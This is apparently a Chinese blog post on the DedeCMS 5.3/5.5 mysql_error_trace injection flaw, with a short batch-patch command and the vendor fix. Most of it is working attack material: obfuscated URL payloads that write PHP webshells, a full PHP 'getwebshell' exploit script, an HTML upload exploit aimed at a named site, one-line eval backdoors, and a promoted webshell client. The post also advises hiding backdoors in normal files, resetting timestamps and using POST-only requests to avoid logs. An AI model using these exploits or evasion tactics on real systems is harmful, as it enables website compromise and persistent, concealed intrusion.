`
icarusli
  • 浏览: 531533 次
  • 性别: Icon_minigender_1
  • 来自: 广州
社区版块
存档分类
最新评论

批量修复dede mysql_err漏洞

    博客分类:
  • WEB
阅读更多
本来想用查找替换,但是符号太麻烦了。考虑到文件都是一样的,只好先修改一个,然后替换就行了。

find ./webfiles -name "dedesql.class.php" -print -exec cp -f ./dedesql.class.php {} \;


--------------------------------
漏洞测试:



1、http://xxx//uploads/plus/digg_frame.php?action=good&id=1024%651024&mid=*/fputs(fopen(base64_decode(ZGF0YS9jYWNoZS9jLnBocA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUWzFdKTsgPz4));?>
http://xxx/uploads/plus/comments_frame.php?id=2&needCode=/../../../data/mysql_error_trace
在data/cache下生成c.php


xxx.com/plus/digg_ajax.php?id=1024e1024&*/fputs(fopen(chr(46).chr(46).chr(47).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(116).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(39).chr(116).chr(39).chr(93).chr(41).chr(59).chr(63).chr(62));/*

xxx.com/plus/comments_frame.php?id=2&needCode=/../../../data/mysql_error_trace




2、执行exp,执行成功会在在data/cache下生成t.php小马密码t,官方

此exp得特点是生产t.php得时候不留日志

exp:
<?php
print_r(' 
+----------------------------------------+ 
dedecms v5.5 final getwebshell exploit 
+----------------------------------------+ 
'); 
if ($argc < 3) { 
print_r(' 
+----------------------------------------+ 
Usage: php '.$argv[0].' host path 
host:      target server (ip/hostname) 
path:      path to dedecms 
Example: 
php '.$argv[0].' localhost /dedecms/ 
+----------------------------------------+     
'); 
exit; 

error_reporting(7); 
ini_set('max_execution_time', 0); 

$host = $argv[1]; 
$path = $argv[2]; 

$post_a = 'plus/digg_ajax.php?id=1024e1024&*/fputs(fopen(chr(46).chr(46).chr(47).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(116).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(39).chr(116).chr(39).chr(93).chr(41).chr(59).chr(63).chr(62));/*'; 
$post_b = 'needCode=aa/../../../data/mysql_error_trace'; 
$shell = 'data/cache/t.php'; 

get_send($post_a); 
post_send('plus/comments_frame.php',$post_b); 
$content = post_send($shell,'t=echo tojen;'); 

if(substr($content,9,3)=='200'){ 
    echo "\nShell Address is:".$host.$path.$shell; 
}else{ 
    echo "\nError."; 

function get_send($url){ 
    global $host, $path; 
    $message = "GET ".$path."$url  HTTP/1.1\r\n"; 
    $message .= "Accept: */*\r\n"; 
    $message .= "Referer: http://$host$path\r\n"; 
    $message .= "Accept-Language: zh-cn\r\n"; 
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n"; 
    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n"; 
    $message .= "Host: $host\r\n"; 
    $message .= "Connection: Close\r\n\r\n"; 
    $fp = fsockopen($host, 80); 
    if(!$fp){ 
        echo "\nConnect to host Error"; 
    } 
    fputs($fp, $message); 
     
    $back = ''; 

    while (!feof($fp)) 
        $back .= fread($fp, 1024); 
    fclose($fp); 
    return $back; 
     

function post_send($url,$cmd){ 
     
    global $host, $path; 
    $message = "POST ".$path."$url  HTTP/1.1\r\n"; 
    $message .= "Accept: */*\r\n"; 
    $message .= "Referer: http://$host$path\r\n"; 
    $message .= "Accept-Language: zh-cn\r\n"; 
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n"; 
    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n"; 
    $message .= "Host: $host\r\n"; 
    $message .= "Content-Length: ".strlen($cmd)."\r\n"; 
    $message .= "Connection: Close\r\n\r\n"; 
    $message .= $cmd; 
    $fp = fsockopen($host, 80); 
    if(!$fp){ 
        echo "\nConnect to host Error"; 
    } 
    fputs($fp, $message); 
     
    $back = ''; 

    while (!feof($fp)) 
        $back .= fread($fp, 1024); 
    fclose($fp); 
    return $back; 

?>



------------------------------
dedecms5.3和5.5系列版本存在重大注入漏洞,请注意以下操作有攻击性,仅供研究。利用此漏洞进行违法活动者,后果自负。

假设域名是:www.abc.com 攻击步骤如下:
1. 访问网址:
http://www.abc.com/plus/digg_frame.php?action=good&id=1024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
反回错误信息
. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
int(3) Error: Illegal double '1024e1024' value found during parsing
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>


3. 执行dede.rar里的文件 test.html,注意 form 中 action 的地址是

<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>

按确定后的看到第2步骤的信息表示文件木马上传成功。
木马网址:http://www.abc.com/data/a.php
密码:2006888

SEBUG安全建议:
临时解决方案

打开文件 include/dedesql.class.php
找到代码
@fwrite($fp, ‘<’.'?php’.”/*{$savemsg}*/?”.”>”);
替换代码
@fwrite($fp, ‘<’.'?php’.”exit;/*{$savemsg}*/?”.”>”);

清空 data/mysql_error_trace.php 文件内容

-------------------test.html
<html>
<head>
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
</head>
<body style="FONT-SIZE: 9pt">
---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
  <input type='hidden' name='activepath' value='/data/cache/' />
  <input type='hidden' name='cfg_basedir' value='../../' />
  <input type='hidden' name='cfg_imgtype' value='php' />
  <input type='hidden' name='cfg_not_allowall' value='txt' />
  <input type='hidden' name='cfg_softtype' value='php' />
  <input type='hidden' name='cfg_mediatype' value='php' />
  <input type='hidden' name='f' value='form1.enclosure' />
  <input type='hidden' name='job' value='upload' />
  <input type='hidden' name='newname' value='fly.php' />
  Select U Shell <input type='file' name='uploadfile' size='25' />
  <input type='submit' name='sb1' value='确定' />
</form>
<br />It's just a exp for the bug of Dedecms V55...<br />
Need register_globals = on...<br />
Fun the game,get a webshell at /data/cache/fly.php...<br />
</body>
</html>



漏洞分析:
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。

解决方案:

打开文件 include/dedesql.class.php
找到代码
@fwrite($fp, ‘<’.'?php’.”\r\n/*\r\n{$savemsg}\r\n*/\r\n?”.”>\r\n”);
替换代码
@fwrite($fp, ‘<’.'?php’.”\r\nexit;\r\n/*\r\n{$savemsg}\r\n*/\r\n?”.”>\r\n”);

清空 data/mysql_error_trace.php 文件内容





一句话:
<?php eval($_POST['c'])?>
<?php eval($_REQUEST['c'])?>

海洋顶端有个一键提交版的ASP一句话客户端,很方便,一次提交之后,一句话就可以当大马用了。

但是PHP一句话一直没有见这样的客户端,网上居然还有转的到处都是的工具,结果下载下来不能用。

比较喜欢一句话的一键提交这种形式,所以花了2x半个通宵的时间做了这个东西,思路参考的是海洋,客户端的CSS也是修改它的,呵呵。

由于一键提交版的特殊性,暂时是不能随心所欲的换密码的,这个客户端的密码是字母c。


大概原理:

一键提交版的一句话客户端连接成功之后,每次POST数据的时候, 假设一句话密码是c,都要先让本地表单:

c = session_start();eval($_SESSION[chr(120)]); 

chr(120)就是字母c,为了避免单引号写成chr(120)形式。

然后一句话在eval($_POST[c])的时候,才能执行保存在Session中的我们的PHP代码。

想用其它密码的朋友可以依据这个原理修改。






零魂PHP一句话木马客户端(一键提交版)
2009/10/28 17:56
Author:零魂(zerosoul)

V0.2
2009-11-11(正好是光棍节,晕~)更新内容:
-----------------------------
1.修补了下原始版本有些服务器不能正常运行的大Bug。
2.去掉了提交后的登陆密码验证,提交后直接进入大马界面。

-----------------------------
更新说明:
-----------------------------

这玩意本来就是为了方便自己做的,所以本来只打算对自己负责,呵呵。好马好工具如果传出来必然被传烂掉,但这东西无所谓,又不是多特别的东西,但有时候用着比较方便,所以发出来也无妨。

但是发出来后有朋友告诉我有些服务器上运行没成功,心里顿觉愧疚,发个小东西出来,结果功能还有问题,岂不是欺骗大众。但是一直在忙,除了当时做的 时候之外,几乎再没去测试过。昨晚hiphop兄给我说他那有台服务器用不起,本来打算让他发Shell来我正好测试下具体原因,结果他说他已经测试了并 告诉是magic_quotes_gpc的原因(是个低级错误...),得谢谢他。
然后花了个把小时详细测试并修改了下

相关关键代码:

session_start();$_SESSION[chr(99)]=get_magic_quotes_gpc()?stripslashes($_POST[chr(100)]):$_POST[chr(100)];eval($_SESSION[chr(99)]);

-----------------------------
现在的版本magic_quotes_gpc On和Off都测试OK,不过不知道还有没有其它会造成不正常的因素,实在懒的自己去一个一个测试了,等遇到了再说吧,也欢迎大家反馈。
-----------------------------

下载:
http://evilwares.appspot.com/down/zerosoul_PHP_eval_Client_v0.2.rar

在线使用:
http://evilwares.appspot.com/static/eval.html

--------------------

前天通宵到后半夜的时候,总觉得自己最近都没干什么实事,觉得有点虚度的味道,心中不免有些自责。为了宽慰自己,决定做点正事。然后就啥都没干,坐着干想该做什么。一直想到快天亮,总算想出点东西来了(- -!),也就是现在发布的这个东西。

海洋顶端有个一键提交版的ASP一句话客户端,很方便,一次提交之后,一句话就可以当大马用了。用这种客户端的话,留一句话的shell也就麻烦不到哪去了,而且把一句话藏在正常文件里面,再把时间改回正常,访问只用POST的话,基本是很难发现的。

但是PHP一句话一直没有见这样的客户端(不知道是不是我孤弱寡闻),网上居然还有转载的到处都是的工具,结果下载下来不能用.....
比较喜欢一句话的一键提交这种形式,所以花了2 x 半个通宵的时间做了这个东西,思路参考的是海洋,客户端的CSS也是修改它的,呵呵。

注意:

由于一键提交版的特殊性,暂时是不能随心所欲的换密码的,这个客户端的密码是字母c。(海洋的也是这样)。这个问题并不是不能解决,但是比较麻烦,所以还不如就用这密码呢,呵呵。

特点:

1.填好一句话WebShell地址和密码并点提交之后,后续操作不用再依赖客户端,基本上剩下的和操作大马没什么两样。

2.完全POST提交,避免了WebServer记录敏感数据。如果一句话插在有正常用户访问的PHP文件的话,插完时间也改回来了,那么管理员发现的概率就相当低了。(海洋的不是全POST)

大概原理:

一键提交版的一句话客户端连接成功之后,每次POST数据的时候, 假设一句话密码是c,都要先让本地表单:

c = session_start();eval($_SESSION[chr(120)]);

chr(120)就是字母c,为了避免单引号写成chr(120)形式。

然后一句话在eval($_POST[c])的时候,才能执行保存在Session中的我们的PHP代码。

http://evilwares.appspot.com/down/zerosoul_PHP_eval_Client_v0.2.rar

想用其它密码的朋友可以依据这个原理修改。




http://huaidan.org/archives/3390.html
分享到:
评论

相关推荐

    dede_killer_v2_Dede_killerv2_killer_织梦安全_

    【标题】"dede_killer_v2_Dede_killerv2_killer_织梦安全_" 提供的信息表明,这是一个专门针对织梦(DedeCMS)系统的安全工具,名为"Dede_killer_v2",用于检测和修复该系统中的安全漏洞,特别是针对顽固的木马后门...

    dedecms批量漏洞扫描.zip_dedecms_dedecms 扫描器_dedecms漏洞_dedecms路径扫描_批量扫描

    dedecms批量漏洞扫描,大家可以自己试试效果

    dede标签大全_dede标签生成工具

    1. 常用内容标签:如`{dede_archives}`用于获取文章内容,`{dede_column}`用于获取栏目信息,`{dede_link}`用于链接管理,`{dede_image}`则处理图片标签,它们是构建DEDE网站的基础。 2. 条件判断标签:如`{dede_if...

    dede5.6-7漏洞修复文件utf8文件(附加漏洞说明)

    压缩包包括漏洞修复文件,直接覆盖dede默认目录即可,另包含漏洞修复说明及其附加说明。不用手动修复那些难找的文件了,阿里云也不会天天发出警报了。

    DeDe_3.10_1527.rar

    DarkDe4.exe是DEDE 3.50.4的修改版(超强版:P) by DarkNess0ut 01.修改了Title和ClassName "DeDe"-&gt;"DarK",绝大部分的Anti检测都没有用了 02.DIY原DEDE,使得可以反汇编得到非标准程序的Forms格式和Procedures的...

    仿济南爱容整形 dede程序_HTML手机电脑网站_网页源码移动端前端_H5模板_自适应响应式源码.zip

    标题中的“仿济南爱容整形 dede程序_HTML手机电脑网站_网页源码移动端前端_H5模板_自适应响应式源码”揭示了该压缩包文件包含的是一套用于创建医疗美容行业的网站模板,使用了DEDECMS(织梦内容管理系统)作为后端...

    dede(ajax).zip_dede_dedeajax分类_dede列表页ajax_php 排序

    标题中的"dede(ajax).zip_dede_dedeajax分类_dede列表页ajax_php 排序"揭示了这个压缩包内容主要围绕一个名为"dede"的系统或框架,使用了AJAX技术来实现列表页面的动态排序功能。在描述中提到的"dede列表页多种排序...

    360批量增加DEDE子目录助手

    【标题】"360批量增加DEDE子目录助手"涉及到的是一个针对织梦内容管理系统(DedeCMS)的辅助工具。织梦内容管理系统是一款基于PHP+MySQL开发的开源CMS,广泛应用于网站建设和管理。这款360批量增加DEDE子目录助手...

    dede_sql用法

    ### dede_sql用法详解 #### 一、概述 在织梦CMS(DedeCMS)系统中,`dede_sql`是一个非常实用的功能模块,它允许开发者直接在模板中执行自定义的SQL查询语句,并将查询结果动态展示出来。这对于实现更为复杂的数据...

    DEDE_v5.7_Soft.cwr 免登陆发布模块

    DEDE_v5.7_Soft.cwr 免登陆发布模块

    dede_cms_5.7广告修改及添加广告位大全

    《dede_cms_5.7广告修改及添加广告位大全》 在使用dedeCMS 5.7版本时,对网站广告的管理和调整是一项重要的工作。广告位的设置不仅影响着网站的视觉效果,也直接影响用户体验和广告效益。本文将详细介绍如何在...

    DeDe_3.5.rar

    标题“DeDe_3.5.rar”提示我们这是一个名为“DeDe”的软件或系统的版本3.5,存储为RAR格式的压缩文件。RAR是一种流行的压缩格式,由WinRAR软件创建,用于减小文件大小以便于存储和传输。描述中的信息与标题相同,...

    DeDe_ 3.99版 64位可用

    在压缩包文件名称列表中,我们看到"DeDe_ 3.99版",这意味着压缩包包含了DeDe软件的3.99版本的所有文件。通常,这样的压缩包会包含安装程序、必要的库文件、文档、许可证信息等。用户下载这个压缩包后,需要解压并...

    dede数据库列表2.pdf

    12. **dede_vip_history** 和 **dede_moneycard_record**:VIP历史记录和虚拟货币消费记录表,与会员增值服务和支付相关。 13. **dede_group_** 开头的系列表,涉及社区或论坛模块,如用户帖子、通知、小组等。 14...

    DEDE_5.7(1).rar

    《DEDE_5.7(1).rar》是一款基于PHP和MySQL的内容管理系统——织梦CMS(DEDECMS)的模块集合包,主要包含了文章、图集、软件等五个核心功能模块。这个版本号为V5.7,由用户junhong在2013年2月12日进行了最后一次编辑...

    织梦数据库表分析织梦数据库表分析.doc

    7. **频道与模块**:`dede_channeltype` 设定了频道类型,`dede_spagedede` 可能用于创建自定义页面,`dede_sys_moduledede` 则包含了系统的模块配置。 8. **内容统计与评分**:`dede_scores` 和 `dede_ratings` ...

    DEDEdelphi反编译软件_decompiler_delphi_delphidede_dede_delphidecompil

    DEDEdelphi反编译软件_decompiler_delphi_delphidede_dede_delphidecompiler_源码.zip

    DEDE表明详解

    4. **dede_addonshop** 和 **dede_addonsoft**:可能分别用于管理电商模块的商品数据和软件下载模块的软件信息。 5. **dede_addonspec**:可能是用于处理产品规格的,如商品的尺寸、颜色等选项。 6. **dede_admin*...

    dede批量Getshell

    标题中的“dede批量Getshell”指的是针对DEDECMS(织梦内容管理系统)的一种批量获取WebShell的操作。DEDECMS是一款广泛使用的PHP CMS,而Getshell则是网络安全领域中指利用漏洞在目标服务器上植入后门或者获取...

Global site tag (gtag.js) - Google Analytics